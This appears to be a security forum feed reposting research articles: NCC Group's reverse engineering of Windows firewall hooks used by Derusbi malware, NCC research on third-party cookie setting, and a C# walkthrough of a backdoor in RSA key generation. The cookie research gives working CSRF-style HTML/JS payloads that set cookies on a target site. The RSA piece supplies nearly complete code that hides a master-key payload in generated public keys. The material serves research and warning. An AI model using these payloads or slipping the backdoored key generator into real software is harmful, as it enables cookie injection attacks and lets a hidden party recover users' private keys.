transmitted to the attacker and not to the Drupal installation. Drupal decided to not patch this issue and released a guideline to implement countermeasures. Sursa: https://websec.wordpress.com/2015/01/09/drupal-7-34-admin-php-object-injection/
  21. Windows Firewall Hook Enumeration Monday January 19, 2015 tl;dr We’re going to look in detail at Microsoft Windows Firewall Hook drivers from Windows 2000, XP and 2003. This functionality was leveraged by the Derusbi family of malicious code to implement port-knocking like functionality. We’re going to discuss the problem we faced, the required reverse engineering to understand how these hooks could be identified and finally how the enumeration tool was developed. Introduction Background Our Cyber Defense Operations team encountered the Derusbi family malware which implemented port knocking by registering a firewall hook. We’ll be releasing another post discussing the malware in detail but suffice to say what was missing was a tool to enumerate firewall hooks. This lack of capability led us to researching and developing the toolset to enable enumeration of these hooks. Firewall Hook Drivers To create a tool to enumerate the registered firewall hooks there was no need to develop a deep understanding on what firewall hooks are and how they really work. Learning about them is not easy as Microsoft did not publically at least provide too much information other than an introduction to the concept and some reasoning [1] on why not to use them. However a very good guide written by Jesus Oliva on how to implement a firewall hook driver can be found on Codeproject [2] along with the source of a demo project. By reading the article and having a look at the demo project it was possible to obtain the amount of information necessary to get started. It is also worth mentioning that this demo project – after modifying it to compile with Visual Studio 2010 – was very useful for testing the hook enumerator driver. [1] Firewall-Hook Drivers (Windows Drivers) [2] An Adventure: How to implement a Firewall-Hook Driver? - CodeProject Reverse Engineering Piece of Cake A firewall hook driver can manage TCP/IP packets, allowing them to implement or extend host-based packet filtering firewalls. Registering a firewall hook can be done by sending an IOCTL request to TCPIP.SYS. As can be seen in the Codeproject article mentioned previously, when registering or unregistering a hook, the address of the function, a priority and the operation to be performed has to be provided. The relevant code from the article can be seen below. [TABLE=width: 665] [TR] [TD=width: 665] // Init structure filterData. FirewallPtr = filterFunction; filterData.Priority = 1; filterData.Add = TRUE;[/TD] [/TR] [/TABLE] So how do we approach the problem? As it is possible to register and unregister firewall hooks, TCPIP.SYS probably maintains a list of registered firewall hooks. The list is probably an ordered list because of the priority. However this is likely not really relevant. The most important fact is that there will probably be some code to check if the callout is already registered. This code should have a similar flow as it can be seen below. This flow will be the pattern to look for in TCPIP.SYS. After locating this code and the address of the hook-list in memory within TCPIP.SYS it should be fairly simple to write a tool to iterate through the list and print out the address of the registered hooks. FirewallUpdateQ Loading up TCPIP.SYS in IDA Pro gives us a very pleasant surprise. TCPIP.SYS has public symbols provided and it is possible for IDA to retrieve TCPIP.PDB from the Microsoft Symbol Server. This makes the reversing process extremely simple because a quick search for the word “Firewall” in the function name window gives a short list of functions to look at. As the lookup function is expected to be around the hook registering and unregistering function, the most logical choice is to have a look at the SetFirewallHook function. The code above is pretty straightforward, but there is not much interesting in there, except a call to the UpdateFirewallQ function. The UpdateFirewallQ function is more complex. Fortunately we have a graph view, which I find very useful as it makes it easy for example to spot patterns in the execution flow. Having a look at the graph below it can be seen that the function starts with some initialization. This has been marked with an orange rectangle. The FQCounter and FQBlock variables are important, but more on these later. Right after the initialization there is a block which implements a loop. This has been marked with a red rectangle. Based on these, the following execution flow can be assumed: Initialization (orange rectangle) Checking if the hook is registered (red rectangle) Register or unregister the hook (rest of the function) Now it is time to have a look at the details to see whether the assumptions in our strategy were right or not. Initialization As the first step, the initialization code was rearranged by moving position independent instructions in a way that makes it easier to create groups of relevant instructions (marked with different colors). This can be seen below. [TABLE=width: 665] [TR=class: odd] [TD=width: 665] .text:00029033 ; __stdcall UpdateFirewallQ(x, x, x) .text:00029033 _UpdateFirewallQ@12 proc near ; CODE XREF: SetFirewallHook(x)+25#p .text:00029033 .text:00029033 var_4 = dword ptr -4 .text:00029033 arg_0 = dword ptr 8 .text:00029033 arg_4 = dword ptr 0Ch .text:00029033 arg_8 = dword ptr 10h .text:00029033 .text:00029033 ; FUNCTION CHUNK AT .text:000315FE SIZE 0000013F BYTES .text:00029033 ; This is for hot patching, not relevant .text:00029033 mov edi, edi ; Stack setup, not relevant .text:00029035 push ebp .text:00029036 mov ebp, esp ; Saving register values, not relevant .text:00029038 push ecx .text:0002903E push ebx .text:00029042 push esi .text:00029046 push edi ; Clearing out registers, not really relevant .text:00029047 xor ecx, ecx .text:0002905B xor ebx, ebx ; The fun starts here... .text:00029039 mov eax, _FQCounter .text:0002903F and eax, 1 .text:00029043 shl eax, 4 .text:00029049 mov esi, offset dword_51870 .text:0002904E lea edi, _FQBlock[eax] .text:00029054 sub esi, eax .text:00029056 mov eax, [edi] .text:00029058 mov [ebp+var_4], ecx[/TD] [/TR] [/TABLE] By analyzing both the initialization and the code in the red rectangle it can be seen that the instructions marked with gray are irrelevant for our analysis. The chain of instructions marked with orange are working with the value held by the FQCounter variable. According to the instructions, the EAX register will hold 0x0 if the value pointed to by FQCounter is 0 otherwise EAX is 0x10. The instructions marked with red basically set up the registers for the lookup. As it can be seen on the picture below FQBlock is at a static offset (0x00051860), just as FQCounter (0x00051880). What is important at this point is that: The EDI register will point to the first hook entry (the address of FQBlock) which is at offset 0x00051860 if no hooks are registered; otherwise the address is 0x00051870. The EAX register will hold the DWORD value located at the address within the EDI register. Lookup The code in the red rectangle starts with the following instructions: [TABLE=width: 665] [TR] [TD=width: 665] .text:0002905D loc_2905D: ; CODE XREF: UpdateFirewallQ(x,x,x)+85D9#j .text:0002905D cmp eax, edi .text:0002905F jnz loc_315FE[/TD] [/TR] [/TABLE] According to this, the lookup continues until the data at the address pointed to by the EAX register is the address of the FQBlock, the beginning of the list. In C the loop would look something like: [TABLE=width: 665] [TR=class: odd] [TD=width: 665] PVOID eax = (PVOID)*(unsigned int *)FQBlockAddr; while (eax != FQBlockAddr) { // to be done }[/TD] [/TR] [/TABLE] To be able to finish the loop and learn what the list of hooks looks like the rest of the code inside the red rectangle is analyzed. Given the information passed via the IOCTL request we can infer that the memory address of the hook to be registered or unregistered is basically the unique identifier. This means, the address of the hook is moved into the EDX register. Then, it is compared with the value at the address pointed to by EAX+8. The only reason for the comparison can be that the data at EAX+8 is the address of a registered firewall hook. Therefore, it is safe to assume the first argument to the UpdateFirewallQ function is the address of the firewall hook. Then if there is a match, the value of the EAX register is moved into var_4, but this step is not relevant. After this the value at the memory address pointed to by EAX is moved into EAX. To summarize: The first argument (arg_0) of the UpdateFirewallQ function is the address of the firewall hook. The structure of the list held in memory looks like this: We can use this information to finish up our pseudo code loop: [TABLE=width: 665] [TR] [TD=width: 665] PVOID FWHookCalloutAddr = NULL; PVOID eax = (PVOID)*(unsigned int *)FQBlockAddr; while (eax != FQBlockAddr) { /* FWHookCalloutAddr holds the address of the registered firewall hook */ FWHookCalloutAddr = (PVOID)(*(unsigned int *)((unsigned int)eax+0x8)); eax = (PVOID)*(unsigned int *)eax; }[/TD] [/TR] [/TABLE] This code then becomes the very core of a tool capable of printing out information about the registered firewall hooks. Development Before going into the details of the development process lets provide a quick summary on the development environment itself. Two virtual machines were used. One, named XP-A was the development machine and XP-B was the test machine. Both were running Windows XP x86 with SP3 installed, connected via a virtual serial port using named pipes. XP-A had the following tools installed. Visual Studio 2010 Visual DDK - VisualDDK - Create and debug driver projects directly from Visual Studio WinDDK - Download Windows Driver Kit Version 7.1.0 from Official Microsoft Download Center XP-B only had Visual DDK installed. VisualDDK has a tool under $VISUALDDK_HOME\target\$ARCH\ called DDKLaunchMonitor which basically allows the developer machine to transfer the driver (TCP/IP) and load it on the target machine. Installing VisualDDK will provide a new project type in Visual Studio, called VisualDDK Driver Wizard. This wizard will literally create a basic driver which we can extend. Developing the Windows Driver The first big question was whether to go with a PnP or NT4 driver model. And the first mistake was made right there. I thought it makes sense to go with the PnP driver so I can just plug it in and play. When the development got to the stage of implementing dynamic driver loading it turned out that for a PnP driver I would have to create a phantom device as Windows refused to load the driver when there was no device with the given GUID present. With an NT4.0 driver model dynamic loading was way easier. The other mistake I made was to implement the firewall hook enumerator first and call it from the DriverEntry. As a result, every time I made a mistake resulting in a BSOD (Blue Screen of Death) just a simple reboot of the machine was not enough. I instead had to restore Windows to a previous snapshot where the faulting driver was not loaded automatically at boot. The conclusion is: start with implementing the IOCTL handling first and then do the hook enumeration. A good practice is to design your code first or at least develop an idea on how it should work. In this case, it was relatively simple. A very high level diagram of the design can be seen below. The Driver has to be able to perform the followings: Handle IOCTL requests Obtain the address of registered hooks Get the base address of the module holding the hook functions Get the size of the module Get the offset of the hook function relative to the module base address Get the full path of the module And, the Client has to be able to deal with: Dynamic loading and unloading of the driver Sending IOCTL requests Processing the response received from the driver So, the client should send an IOCTL request asking for the list of firewall hooks and additional details. Meaning, that there should be a buffer filled with these details. Of course we have to allocate memory for this buffer. The question is what should be the size of the buffer? If we let the driver deal with this then we have to use two IOCTL requests: [TABLE=width: 665] [TR=class: odd] [TD=width: 665] #define IOCTL_GET_BUFFER_SIZE 0x801 #define IOCTL_DUMP_DATA 0x802 #define IOCTL_Get_Buffer_Size CTL_CODE(0x8080, \ IOCTL_GET_BUFFER_SIZE, \ METHOD_OUT_DIRECT, \ FILE_ANY_ACCESS) #define IOCTL_Dump_Data CTL_CODE(0x8080, \ IOCTL_DUMP_DATA, \ METHOD_OUT_DIRECT, \ FILE_ANY_ACCESS)[/TD] [/TR] [/TABLE] First, an IOCTL_GET_BUFFER_SIZE request is sent to the driver. The driver calculates the required buffer size in bytes and returns it to the client. Second, the client allocated the memory for the buffer, based on the required buffer size. [TABLE=width: 665] [TR] [TD=width: 665] WARNING: This approach works fine on a system where the number of firewall hooks does not change while the tool is running. But, this approach has a potential vulnerability which could be exploited by a malicious registered firewall hook. There is a TOCTOU vulnerability here which if exploited could result in a Buffer Overflow. A malicious firewall hook designed to detect our firewall hook enumerator could for example register an additional firewall hook between the 2 IOCTL requests (a race condition). The client allocates X bytes of memory after the first IOCTL response. When the buffer is passed via the 2nd IOCTL request to the driver the driver will move X+Y bytes into the buffer. To avoid a buffer overflow like this, we have the following options: Use 1 IOCTL request, let the driver allocate the memory, fill it with the data and set Irp->IoStatus.Information to the number of bytes written. Use 2 IOCTL requests. In this case the client should pass the size of the buffer with the request and the driver should take care not to overflow the buffer. The first approach seems to be more reliable and safer. However we felt that this wasn’t serious issue as if a malicious firewall hook was present on the system already, and by virtue of that in Kernel, plus being designed to attack us or subvert our detection then there would be likely many other ways. Plus we also released a Volatility plugin for working on RAM dumps and thus not susceptible. We wanted to mention this to emphasize show important it is to consider the ramifications of such design choices. [/TD] [/TR] [/TABLE] The following sequence diagram summarizes what it is to be achieved. To be able to calculate the buffer size first, we have to define what information we would like to return to the client. The structure below servers this purpose well. [TABLE=width: 665] [TR=class: odd] [TD=width: 665] typedef struct _hookInfoEntry { ULONG calloutAddress; /* Address of the firewall hook (callout) */ ULONG calloutOffset; /* Offset of callout from moduleBaseAddress */ ULONG moduleBaseAddress; /* The address of the module in memory */ ULONG moduleSize; /* Size of the module */ USHORT fileNamePosition; /* Points to the file name in fullPathName */ UCHAR fullPathName[MAX_PATH]; /* Module full path, incl. the filename */ } hookInfoEntry; [/TD] [/TR] [/TABLE] We have one hookInfoEntry per registered firewall hook, therefore: buffer_size = number_of_hooks * sizeof(hookInfoEntry) As we wanted to include additional information about the environment we were enumerating the following structure was also added to the start of the buffer. [TABLE=width: 665] [TR] [TD=width: 665] typedef struct _hookEnvInfo { ULONG regHookCount; /* Number of registered hooks */ ULONG FQBlockAddr; /* Address of FQBlock */ } hookEnvInfo;[/TD] [/TR] [/TABLE] This way, the driver calculates the buffer size according to the following formula. buffer_size = number_of_hooks * sizeof(hookInfoEntry) + sizeof(hookEnvInfo) Obviously, the number of registered hooks has to be known to be able to calculate the buffer size. Fortunately, thanks to our reverse engineering effort we already know how to determine how many hooks we have registered. Once the buffer size returned by the driver the client allocates the memory and passes the pointer to the buffer to the driver via the IOCTL_DUMP_DATA IOCTL request. The diagram on the right gives a basic picture on how the “dump” request is handled by the driver. Most of the process has been already explained. For the rest we are not going to go into detail but just mention a few interesting things that were relevant. Getting the module base address We use a technique that is similar to the way many exploits determine the base address of a loaded DLL. [TABLE=width: 414] [TR=class: odd] [TD=width: 300] PVOID getModuleBaseAddress(PVOID FWHookAddr) { FWHookAddr = (PVOID)(((unsigned int)FWHookAddr | 0xfff) + 1); while (strncmp((CHAR *)FWHookAddr, "MZ", 2) != 0) { FWHookAddr = (PVOID)((unsigned int)FWHookAddr - 0x1000); } return(FWHookAddr); }[/TD] [/TR] [/TABLE] The above function calculates the module base address from the address of the registered hook (FWHookAddr). Getting module information To obtain the name and size of the module the AuxKlibQueryModuleInformation function was used. Calculating the hook offset Calculating the offset of the hook function relative to the module base is very easy and can be done by the formula below. offset = hook_address - module_base_address What we haven’t mentioned yet and according to the execution flow this is the first step: the initialization. The prerequisite of being able to enumerate the firewall hooks is being able to find FQBlock, which as previously mentioned is a structure holding information about the registered hooks. For this, the following things have to be done: Find the base address of TCPIP.SYS Calculate the address of FQBlock To find the base address of TCPIP.SYS we reused code from the following site: Windows NT Kernel mode GetProcAddress and GetModuleHandle We implemented in a function called KernelGetModuleBase. To calculate the address of FQBlock we implemented the following function. [TABLE=width: 665] [TR] [TD=width: 665] PVOID findFQBlockAddress() { unsigned int FQBlock_offset = 0x00051860; PVOID addr = KernelGetModuleBase("tcpip.sys"); PVOID pe_hdr = (CHAR *)addr + (unsigned char)*((CHAR *)addr + 0x3C); PVOID image_base_addr = (CHAR *)pe_hdr + 0x34; PVOID addr_FQBlock = (CHAR *)addr + (FQBlock_offset - *(unsigned int *)image_base_addr); PVOID FQBlockAddr = (CHAR *)addr_FQBlock + getFQCounter(addr_FQBlock); return(FQBlockAddr); }[/TD] [/TR] [/TABLE] It basically retrieves the image base by parsing the PE header then calculates the address of FQBlock relative to it. As mentioned earlier, during the reverse engineering phase, the list of registered firewall hooks start at FQBlock + Value-of-FQCounter. The value of FQCounter is 0x10 if there are hooks registered; otherwise it is 0x00. Therefore, adding 0x10 to the address of FQBlock will result in a pointer to the first entry in the list of registered hooks. Developing the Client Developing the client was quite simple. I started with a standard Win32 console application template. As during the development VisualDDK handled the driver loading I left the implementation of the dynamic driver loading and unloading as the last step. The client performs the following operations in order: Dynamic driver loading Obtaining the details of registered firewall hooks by sending IOCTL requests to the driver Display the information of the registered hooks Cleanup process I will not go into the details of step 2 and 3. There are many useful guides on how to communicate with a driver via IOCTLs. Also, parsing the firewall hook data using the structures mentioned earlier and printing it to the screen should not be a problem if you are reading this. What was a bit tricky is the dynamic loading of the driver. Prior loading the driver using the NtLoadDriver API the client had to perform the following steps: Get the path of the Windows directory Copy the driver to System32\drivers Create registry key HKLM\System\CurrentControlSet\Services\<driver name> Create the following sub keys: ? ImagePath – Full path to the driver. ? DisplayName – Name to be displayed for the driver. This is what you can see in the device manager. ? Description – An optional description of the driver. ? Group – Name of the group. In this case it was “Extended Base” Not so surprisingly the cleanup procedure is about undoing all the changes in the reverse order: Unload driver using the NtUnloadDriver API Delete registry keys Remove driver from System32\drivers The result being the tool release here - https://github.com/nccgroup/WindowsFirewallHookDriverEnumeration/releases Conclusions and Summary Anyway we hope you enjoyed this post as it was an interesting little project for sure. We’ve walked through the problem, our strategy and each of the different phases which resulted in the implementation of the tool. Anyway until next time… Sursa: https://www.nccgroup.com/en/blog/2015/01/windows-firewall-hook-enumeration/
  22. [h=1]Rudolf Marek: AMD x86 SMU firmware analysis[/h] Publicat pe 28 dec. 2014 http://media.ccc.de/browse/congress/2... You definitely should care. The aim of this talk is to provide insight to the security, architecture and yes you guessed it, vulnerability of the AMD System Management Unit (SMU) firmware found in modern AMD x86 processors. Rudolf Marek Help us caption & translate this video!
  23. Analysis of setting cookies for third party websites in different browsers Tuesday January 20, 2015 tl;dr This post discusses the results from our research into the ability of third party websites setting cookies for first party websites across different web browsers. The ability to be able to set cookies in this manner not only facilitates tracking but also opens up other opportunities and avenues of attack. Introduction Cookies are one of the most common sources user supplied input for web applications, with browsers sending their latest values to their relevant server with every normal HTTP request. Like any other forms of user input, cookies can be used to attempt a number of different classes of attack including cross-site scripting (XSS) and SQL Injection (SQLi). Exploiting client side issues (such as an XSS) via cookie parameters is more difficult than using URL parameters (QueryString) or body of POST requests as an attacker needs to find a way to set a malicious cookie value in victims’ browsers in the first place. Risks posed an XSS issue when an attacker can set a malicious cookie for victims are less than a normal stored XSS but higher than a reflected one. This type of attack is normally possible by using another reflected XSS (in the same domain or another subdomain) or by exploiting a CSRF issue in a page that that stores users supplied input in a cookie. It should be noted that it is not uncommon for websites to keep users’ supplied data that is received from GET or POST requests in their cookies. For instance, “Remember me” or “Keep me signed in” feature of a login page is a common place to see this behaviour in which the provided username might be kept in the cookies even when the provided username is incorrect. In this research different methods by which it is possible to set cookies via a CSRF style attack through an IFRAME tag have been reviewed. In order to send an HTTP request to a target website via an IFRAME, a list of HTML/SVG tags that can accept URL in their attributes were extracted from the following resources: Index of the HTML 4 Attributes Index — HTML5 Attribute Index – SVG 1.1 (Second Edition) A testing framework in JavaScript was also designed and implemented to test different cases automatically. This framework operates in the following way: First it opens HTML test cases which are designed for setting cookies. Then it changes the required parameters such as the target URL in the HTML codes and loads them in different IFRAME tags. Finally, it checks the target website to see whether the cookie parameters were set successfully or not on the target website. These steps are shown in the image below. The test website was also protected with the following defensive HTTP security headers to remove trivially exploitable scenarios: [TABLE] [TR] [TD] X-Frame-Options: DENY X-Content-Security-Policy: allow 'self'; frame-ancestors 'none' X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block[/TD] [/TR] [/TABLE] The results for the different browsers are as follows (with no user interaction): Lessons Learned In order to send a GET request to set a cookie in multiple browsers (tested on Firefox, IE, Chrome, and Opera), the following methods can be used: Using the DATA attribute in an OBJECT tag (no closing tag is required): [TABLE] [TR=class: odd] [TD] <OBJECT data="http://target.com/setcookie?cookie=value"> </OBJECT>[/TD] [/TR] [/TABLE] Using the SRC attribute in an EMBED tag (no closing tag is required): [TABLE] [TR] [TD] <EMBED src="http://target.com/setcookie?cookie=value"> </EMBED>[/TD] [/TR] [/TABLE] Using the SRC attribute of an IFRAME that targets a local Flash file. This Flash file reads data from a local page that redirects the request to the target website that sets a cookie: [TABLE] [TR=class: odd] [TD] <IFRAME src="./localFlash.swf?input=./localRedirect?rdir=http://target.com/setcookie?cookie=value "></IFRAME>[/TD] [/TR] [/TABLE] Using the ACTION attribute in a FORM tag to target an internal IFRAME. This IFRAME uses a local page that redirects the request to the target website. In this case, although the FORM tag still uses the POST method, it sends a GET request to the target after being redirected with status code of 301 (or 302): [TABLE] [TR] [TD] <FORM name="myFORM" action="./localRedirect?rdircode=301&rdir=http://target.com/setcookie%3Fcookie=value" method="POST" target="internalFrame"> <input type=submit /> </FORM> <IFRAME name="internalFrame"></IFRAME> <script> myFORM.submit(); </script>[/TD] [/TR] [/TABLE] It was not possible to find one solution for all the browsers to send a POST request to the target page. However, two solutions could be used at the same time to cover all the tested browsers. Solution one: using an OBJECT tag as an IFRAME. Although IE used the OBJECT tag as an IFRAME just like other browsers, the FORM tag could not use it as its target (it tried to open a new page which was blocked by the IE popup blocker). [TABLE] [TR=class: odd] [TD] <FORM name="myform" action="http://target.com/setcookie?cookie=value" method="POST" target="testObjectframe"> <input type=submit /> </FORM> <OBJECT data="/" name="testObjectframe" title="0" onload="if(this.title==0) {this.title=1;myform.submit();}"></OBJECT>[/TD] [/TR] [/TABLE] Solution two: Browsers redirect a POST request with its parameters when they receive a HTTP status code 307 or 308. Among the tested browsers, Firefox needed user interaction for this to happen. IE 11 also did not support status code 308. [TABLE] [TR] [TD] <FORM name="myform" action="./localRedirect?rdircode=307&rdir=http://target.com/setcookie%3Fcookie=value" method="POST" target=" internalFrame"> <input type=text name=test value=test /> <input type=submit /> </FORM> <IFRAME name=" internalFrame" onload="confirmPagLoad()"></IFRAME> <script> myform.submit(); </script>[/TD] [/TR] [/TABLE] Internet Explorer (IE) was very different than other browsers during this research. This difference was because of implementing the Platform for Privacy Preferences Project (P3P) protocol. Briefly, IE does not allow any third party website (a website which is opened in an IFRAME and its domain is different from its parent for example) to set any cookies when it does not have an appropriate P3P header in HTTP responses. You can read more about P3P in its Wikipedia page. However, this research identified some methods with which it was possible to circumvent this policy in IE even when its privacy setting was set on “Medium High”. A live demo of the designed JS framework for this research can be found in the following URL: http://0me.me/demo/cookie-test/testcase_runner.html Note: This page sends its requests to the sdl.me server (an IIS server). Source Code The source code for the framework can be found on GitHub page here - https://github.com/nccgroup/SetCookieAnalysisInBrowsers Vendor Disclosure This research was performed in September 2014 and the P3P policy bypass issues were reported to Microsoft in October 2014. Microsoft confirmed that we can disclose the details publicly in January 2015. Future Research On the pile for future research includes further test cases for different techniques and client side OBJECTs such as SVG, SWF, Silverlight, and so on. Additionally Non-standard HTML tags (browser specific ones) should also likely be added to the test cases. Engaging NCC Groups Security Research NCC Group Security Research is regularly engaged by our clients to undertake projects ranging from a few days through to multi-year endeavours. Your organization could benefit from working with one of the world’s most unique companies when it comes to breadth, scale, global reach and technical specialism. Sursa: https://www.nccgroup.com/en/blog/2015/01/analysis-of-setting-cookies-for-third-party-websites-in-different-browsers/
  24. Backdoor in a Public RSA Key Written by Scratch | 20 January 2015 | Original Source Hello, %username%! When I saw how it works, say that I was shocked is to say nothing. It's a pretty simple trick, but after reading this article, you will never look at the RSA as before. This is not a way to hijack RSA, but something that will make your paranoia greatly swell. So, imagine that you have access to the generator of an RSA key and you want to give someone the opportunity to get the private key without any factorization and other quantum computers. What we need to do? I'm going to use C#, BouncyCastle and Chaos.NaCl (this library implements Curve25519). 1). PRNG We need a PRNG which is initialized with a secret value. I'm going to use AES in CTR mode. using System; using System.ComponentModel; using Org.BouncyCastle.Crypto.Engines; using Org.BouncyCastle.Crypto.Parameters; using Org.BouncyCastle.Crypto.Prng; using Org.BouncyCastle.Security; namespace RsaBackdoor.Backdoor { class SeededGenerator:IRandomGenerator { private readonly AesFastEngine _engine = new AesFastEngine(); private readonly byte[] _counter = new byte[16]; private readonly byte[] _buf = new byte[16]; private int bufOffset = 0; public SeededGenerator(byte[] key) { _engine.Init(true, new KeyParameter(key)); MakeBytes(); } private void MakeBytes() { bufOffset = 0; _engine.ProcessBlock(_counter, 0, _buf, 0); IncrementCounter(); } public void IncrementCounter() { for (int i = 0; i < _counter.Length; i++) { _counter[i]++; if (_counter[i] != 0) break; } } public void AddSeedMaterial(byte[] seed) { } public void AddSeedMaterial(long seed) { } public void NextBytes(byte[] bytes) { NextBytes(bytes, 0, bytes.Length); } public void NextBytes(byte[] bytes, int start, int len) { var count = 0; while (count < len) { var amount = Math.Min(_buf.Length - bufOffset, len - count); Array.Copy(_buf, bufOffset, bytes, start + count, amount); count += amount; bufOffset += amount; if (bufOffset >= _buf.Length) { MakeBytes(); } } } } } 2). Let us recall about great Curve25519, namely the fact that any 32-byte sequence is valid for its private key. At the same time, the public key is always 32 bytes also. Let's pre-generate the master key and assign it to a constant variable: private const string MY_PRIVATE_STR = "BDB440EBF1A77CFA014A9CD753F3F6335B1BCDD8ABE30049F10C44243BF3B6C8"; private static readonly byte[] MY_PRIVATE = StringToByteArray(MY_PRIVATE_STR); For each generated RSA key pair we will also generate a random key pair of Curve25519 and then calculate the shared secret from the public key of the pair, and our private key. This secret is the key to PRNG from step 1. Seed generation for PRNG: private void MakeSeedAndPayload(out byte[] seed, out byte[] payload) { var rnd = new SecureRandom(); var priv = new byte[32]; rnd.NextBytes(priv); payload = MontgomeryCurve25519.GetPublicKey(priv); seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE); } Curve25519 public key, which we will use to calculate the seed is a payload. We will try to put it into the RSA public key. 3). Generate RSA key pair by using PRNG and our seed. var publicExponent = new BigInteger("10001", 16); var keygen = new RsaKeyPairGenerator(); keygen.Init(new RsaKeyGenerationParameters(publicExponent, new SecureRandom(new SeededGenerator(seed)), 2048, 80)); var pair = keygen.GenerateKeyPair(); It's worth saying that key-based RSA is always two prime numbers p and q. Their product is called «modulus» and is part of the public key. In this case, two 2048 bits numbers are searched with the help of our PRNG and then a single key pair is built from them. 4). Now, replace some bytes from p*q modulus with our payload. It makes sense to replace more significant bytes, so that they are not deleted later. 80 bytes-shifting should be enough. var paramz = ((RsaPrivateCrtKeyParameters) pair.Private); var modulus = paramz.Modulus.ToByteArray(); Replace(modulus, payload, 80);5). We now have a new n' modulus and need to regenerate the remaining parameters, taking n' into account: 5.1). Calculate new q'. We have no idea what it's gonna be like on the current stage, but it's not terrible: q' = n' / p5.2.). Look for a new prime number basing on q'. When we find it, least significant bits will be deleted. But the most significant ones will remain the same. That's exactly what we need. var p = paramz.P; var n = new BigInteger(modulus); var preQ = n.Divide(p); var q = preQ.NextProbablePrime();Once we have a new [B]q[/B], we calculate all the key-pair parameters, except [B]p[/B], again. public AsymmetricCipherKeyPair ComposeKeyPair(BigInteger p, BigInteger q, BigInteger publicExponent) { if (p.Max(q).Equals(q)) { var tmp = p; p = q; q = tmp; } var modulus = p.Multiply(q); var p1 = p.Subtract(BigInteger.One); var q1 = q.Subtract(BigInteger.One); var phi = p1.Multiply(q1); var privateExponent = publicExponent.ModInverse(phi); var dP = privateExponent.Remainder(p1); var dQ = privateExponent.Remainder(q1); var qInv = q.ModInverse(p); var priv = new RsaPrivateCrtKeyParameters(modulus, publicExponent, privateExponent, p, q, dP, dQ, qInv); return new AsymmetricCipherKeyPair(new RsaKeyParameters(false, priv.Modulus, publicExponent), priv); } As a result, we obtain a valid key pair, which has our payload in its public key — namely, the information on how to get the seed and then private key itself. We can extract payload: public byte[] ExtractPayload(RsaKeyParameters pub) { var modulus = pub.Modulus.ToByteArray(); var payload = new byte[32]; Array.Copy(modulus, 80, payload, 0, 32); return payload; }Calculate the seed and do the same process one more time in order to get the private key: public AsymmetricCipherKeyPair BuildKeyFromPayload(byte[] payload) { var seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE); return BuildKey(seed, payload); } Thus, by owning a Curve25519 private key, only we can obtain a private key of any backdoored RSA. Where it can be applied? Anywhere! You'll never prove that the key pairs issued to you by banks do not have these type of markings. It's impossible to prove! So try to generate keys by yourself. Well, and stop using RSA, if possible. Source code. Thanks https://gist.github.com/ryancdotorg for the original implementation https://gist.github.com/ryancdotorg/18235723e926be0afbdd. Sursa: http://kukuruku.co/hub/infosec/backdoor-in-a-public-rsa-key
×
×
  • Create New...